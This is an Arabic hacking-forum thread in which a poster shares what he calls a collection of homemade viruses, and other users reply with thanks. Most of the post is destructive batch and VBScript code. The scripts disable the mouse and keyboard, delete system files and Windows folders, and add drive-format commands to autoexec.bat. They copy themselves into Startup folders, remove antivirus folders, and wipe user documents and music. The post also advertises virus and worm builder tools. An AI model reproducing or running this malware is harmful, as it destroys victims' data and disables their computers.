مجموعة جميلة من الفيروسات (لحق حالك وشوف )

[Arthas]

السلام عليكم ورحمة الله وبركاته​

اخواني حبيت اقدم لكم اليوم مجموعة اكواد فيروسات (صنع يدوي) وهي فيروسات ان شاء الله تنال اعجابكم وابرزها فيروس (ساسر العرب) الي هو من تصميمي الشخصي .... ​

بسم الله الرحمن الرحيم​

1 اكواد فيروسات من نوع bat
1)قاتل الدوس
كود:
@echo off
​

كود:

C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
del c:\command.com
del c:\Io.sys
del c:\Config.sys
del c:\Msdos.sys
del c:\windows\system32\command.com
deltree /y C:\WINDOWS\COMMAND\*.*
deltree /y C:\WIN98\COMMAND\*.*
deltree /y C:\WINme\COMMAND\*.*
deltree /y C:\WIN_me\COMMAND\*.*
deltree /y C:\WINxp\COMMAND\*.*
deltree /y C:\WIN_xp\COMMAND\*.*
del d:\command.com
del d:\Io.sys
del d:\Config.sys
del d:\Msdos.sys
del d:\windows\system32\command.com
deltree​

2) قاتل ملفات السيستم​

كود:

@echo off
c:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
c:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
CLS​

3)فورمات​

كود:

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo off@
shutdown -s​

4) قتل الماوس+ الكيبورد​

كود:

@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s​

5) قاتل النورتن​

كود:

@echo off
%WinDir%\rundll.exe mouse,disable
%WinDir%\rundll.exe keyboard,disable
copy hahahah.BAT %windir%\startm~1\programs\startup
copy hahahah.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy hahahah.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
deltree /y c:\progra~1\norton~1\*.*
deltree /y d:\progra~1\norton~1\*.*
deltree /y c:\progra~1\zonela~1\*.*
deltree /y d:\progra~1\zonela~1\*.*
cls​

اكواد فيروسات الـفي بي اس​

1)قاتل الويندوز​

كود:

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\windows") Then
foldersys.DeleteFolder "d:\windows",TRUE
END IF​

2)ماسح البرامج​

كود:

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF​

3) ماسح سطح الكتب + المستندات​

كود:

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\My ********s") Then
foldersys.DeleteFolder "c:\My ********s",TRUE
END IF
If foldersys.FolderExists ("D:\My ********s") Then
foldersys.DeleteFolder "D:\My ********s",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\********s and Settings") Then
foldersys.DeleteFolder "C:\********s and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\********s and Settings") Then
foldersys.DeleteFolder "D:\********s and Settings",TRUE
END IF​

4)قاتل الام بي ثري​

كود:

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF​

__________________________________________________ _________________________
وهذي مجموعة فيروسات جاهزة​

ساسر العرب ... هييماااااااا​

برنامج قوي وسهل لصنع الفيروسات​

برنامج خطر لصنع الديدان​

 

[X-telmid]

ههههه تمام

 

[safi2010]

تم التقييم

 

[palstine sniper]

رد: مجموعة جميلة من الفيروسات (لحق حالك وشوف )

مشكور